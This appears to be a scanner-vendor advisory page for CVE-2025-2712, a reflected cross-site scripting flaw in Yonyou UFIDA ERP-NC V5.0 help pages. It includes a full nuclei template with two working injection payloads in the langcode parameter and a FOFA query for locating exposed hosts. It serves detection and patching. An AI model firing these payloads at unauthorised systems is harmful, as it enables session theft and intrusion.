Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

Impact

Attackers can inject malicious JavaScript through the langcode parameter in help pages, potentially stealing user credentials, session cookies, or executing unauthorized actions.

Fix

Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes the langcode parameter.

How to confirm it

Send: GET {{BaseURL}}/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E ; GET {{BaseURL}}/help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E
Positive when: contains "<svg onload=alert(document.domain)>.png)" and "Search.jsp" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-2712 -u <target>

The full check

id: CVE-2025-2712

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Attackers can inject malicious JavaScript through the langcode parameter in help pages, potentially stealing user credentials, session cookies, or executing unauthorized actions.
  remediation: |
    Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes the langcode parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2712
  classification:
    epss-score: 0.00842
    epss-percentile: 0.58211
    cve-id: CVE-2025-2712
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>.png)'
          - 'Search.jsp'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2025-2712

Use this check only on systems you are authorised to test. Where the data comes from